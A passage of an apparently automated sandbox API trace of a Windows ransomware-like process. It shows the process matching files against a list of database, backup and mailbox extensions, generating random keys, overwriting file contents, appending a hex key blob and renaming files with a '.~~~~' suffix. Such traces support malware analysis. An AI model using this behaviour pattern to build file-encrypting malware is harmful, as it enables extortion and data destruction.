	[0123.375] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.~~~~")) returned 1
	[0123.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5b98 | out: hHeap=0x300000) returned 1
	[0123.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.376] GetLastError () returned 0x0
	[0123.377] lstrlenW (lpString=".sqb") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".sqb") returned 0x0
	[0123.377] lstrlenW (lpString=".ost") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".ost") returned 0x0
	[0123.377] lstrlenW (lpString=".txt") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".txt") returned 0x0
	[0123.377] lstrlenW (lpString=".mdt") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".mdt") returned 0x0
	[0123.377] lstrlenW (lpString=".BDB") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".BDB") returned 0x0
	[0123.377] lstrlenW (lpString=".eql") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".eql") returned 0x0
	[0123.377] lstrlenW (lpString=".DBF") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DBF") returned 0x0
	[0123.377] lstrlenW (lpString=".EQL") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".EQL") returned 0x0
	[0123.377] lstrlenW (lpString=".FDB") returned 4
	[0123.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".FDB") returned 0x0
	[0123.377] lstrlenW (lpString=".EDB") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".EDB") returned 0x0
	[0123.378] lstrlenW (lpString=".DACPAC") returned 7
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DACPAC") returned 0x0
	[0123.378] lstrlenW (lpString=".VHD") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".VHD") returned 0x0
	[0123.378] lstrlenW (lpString=".DBV") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DBV") returned 0x0
	[0123.378] lstrlenW (lpString=".dacpac") returned 7
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".dacpac") returned 0x0
	[0123.378] lstrlenW (lpString=".sdf") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".sdf") returned 0x0
	[0123.378] lstrlenW (lpString=".accdb") returned 6
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".accdb") returned 0x0
	[0123.378] lstrlenW (lpString=".DBX") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DBX") returned 0x0
	[0123.378] lstrlenW (lpString=".MDT") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".MDT") returned 0x0
	[0123.378] lstrlenW (lpString=".SQB") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".SQB") returned 0x0
	[0123.378] lstrlenW (lpString=".vhd") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".vhd") returned 0x0
	[0123.378] lstrlenW (lpString=".bac") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".bac") returned 0x0
	[0123.378] lstrlenW (lpString=".mdf") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".mdf") returned 0x0
	[0123.378] lstrlenW (lpString=".BAK") returned 4
	[0123.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".BAK") returned 0x0
	[0123.378] lstrlenW (lpString=".BAC") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".BAC") returned 0x0
	[0123.379] lstrlenW (lpString=".dbs") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".dbs") returned 0x0
	[0123.379] lstrlenW (lpString=".vhdx") returned 5
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".vhdx") returned 0x0
	[0123.379] lstrlenW (lpString=".NDF") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".NDF") returned 0x0
	[0123.379] lstrlenW (lpString=".dat") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".dat") returned 0x0
	[0123.379] lstrlenW (lpString=".DBS") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DBS") returned 0x0
	[0123.379] lstrlenW (lpString=".CKP") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".CKP") returned 0x0
	[0123.379] lstrlenW (lpString=".edb") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".edb") returned 0x0
	[0123.379] lstrlenW (lpString=".PST") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".PST") returned 0x0
	[0123.379] lstrlenW (lpString=".dbf") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".dbf") returned 0x0
	[0123.379] lstrlenW (lpString=".SQL") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".SQL") returned 0x0
	[0123.379] lstrlenW (lpString=".pst") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".pst") returned 0x0
	[0123.379] lstrlenW (lpString=".dbv") returned 4
	[0123.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".dbv") returned 0x0
	[0123.380] lstrlenW (lpString=".SDF") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".SDF") returned 0x0
	[0123.380] lstrlenW (lpString=".dtxs") returned 5
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".dtxs") returned 0x0
	[0123.380] lstrlenW (lpString=".db3") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".db3") returned 0x0
	[0123.380] lstrlenW (lpString=".OST") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".OST") returned 0x0
	[0123.380] lstrlenW (lpString=".dbx") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".dbx") returned 0x0
	[0123.380] lstrlenW (lpString=".DB3") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DB3") returned 0x0
	[0123.380] lstrlenW (lpString=".DAT") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DAT") returned 0x0
	[0123.380] lstrlenW (lpString=".VHDX") returned 5
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".VHDX") returned 0x0
	[0123.380] lstrlenW (lpString=".ndf") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".ndf") returned 0x0
	[0123.380] lstrlenW (lpString=".DB") returned 3
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DB") returned 0x0
	[0123.380] lstrlenW (lpString=".sql") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".sql") returned 0x0
	[0123.380] lstrlenW (lpString=".MYD") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".MYD") returned 0x0
	[0123.380] lstrlenW (lpString=".DBT") returned 4
	[0123.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DBT") returned 0x0
	[0123.380] lstrlenW (lpString=".ACCDB") returned 6
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".ACCDB") returned 0x0
	[0123.381] lstrlenW (lpString=".fdb") returned 4
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".fdb") returned 0x0
	[0123.381] lstrlenW (lpString=".bak") returned 4
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".bak") returned 0x0
	[0123.381] lstrlenW (lpString=".myd") returned 4
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".myd") returned 0x0
	[0123.381] lstrlenW (lpString=".DTXS") returned 5
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".DTXS") returned 0x0
	[0123.381] lstrlenW (lpString=".ckp") returned 4
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".ckp") returned 0x0
	[0123.381] lstrlenW (lpString=".dbt") returned 4
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".dbt") returned 0x0
	[0123.381] lstrlenW (lpString=".db") returned 3
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".db") returned 0x0
	[0123.381] lstrlenW (lpString=".TXT") returned 4
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".TXT") returned 0x0
	[0123.381] lstrlenW (lpString=".MDF") returned 4
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".MDF") returned 0x0
	[0123.381] lstrlenW (lpString=".bdb") returned 4
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".bdb") returned 0x0
	[0123.381] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0123.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0123.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0123.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0123.382] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.383] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.383] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.383] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24337325231) returned 1
	[0123.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb302df70, dwHighDateTime=0x1d60e1e)) 
	[0123.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f6e8
	[0123.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f6e8 | out: hHeap=0x300000) returned 1
	[0123.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0123.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0123.384] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.384] GetLastError () returned 0x0
	[0123.385] GetLastError () returned 0x0
	[0123.385] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.385] GetLastError () returned 0x0
	[0123.385] GetLastError () returned 0x0
	[0123.410] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.410] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe15, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xe15, lpOverlapped=0x0) returned 1
	[0123.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.411] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.411] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.411] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.411] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.412] CloseHandle (hObject=0x11c) returned 1
	[0123.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5d08
	[0123.508] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.~~~~")) returned 1
	[0123.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5d08 | out: hHeap=0x300000) returned 1
	[0123.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.510] GetLastError () returned 0x0
	[0123.569] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.570] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.570] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.571] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24356071241) returned 1
	[0123.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb31f6ff0, dwHighDateTime=0x1d60e1e)) 
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a38ef8
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a38ef8 | out: hHeap=0x300000) returned 1
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4278
	[0123.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.572] GetLastError () returned 0x0
	[0123.572] GetLastError () returned 0x0
	[0123.572] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.572] GetLastError () returned 0x0
	[0123.572] GetLastError () returned 0x0
	[0123.576] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff117, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.576] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xee9, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0xee9, lpOverlapped=0x0) returned 1
	[0123.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.578] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.578] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.578] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.578] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.579] CloseHandle (hObject=0x144) returned 1
	[0123.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0123.579] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.~~~~")) returned 1
	[0123.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5c88 | out: hHeap=0x300000) returned 1
	[0123.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.581] GetLastError () returned 0x0
	[0123.581] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.583] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.583] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.583] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24357308919) returned 1
	[0123.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb321d150, dwHighDateTime=0x1d60e1e)) 
	[0123.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fa30
	[0123.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fa30 | out: hHeap=0x300000) returned 1
	[0123.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
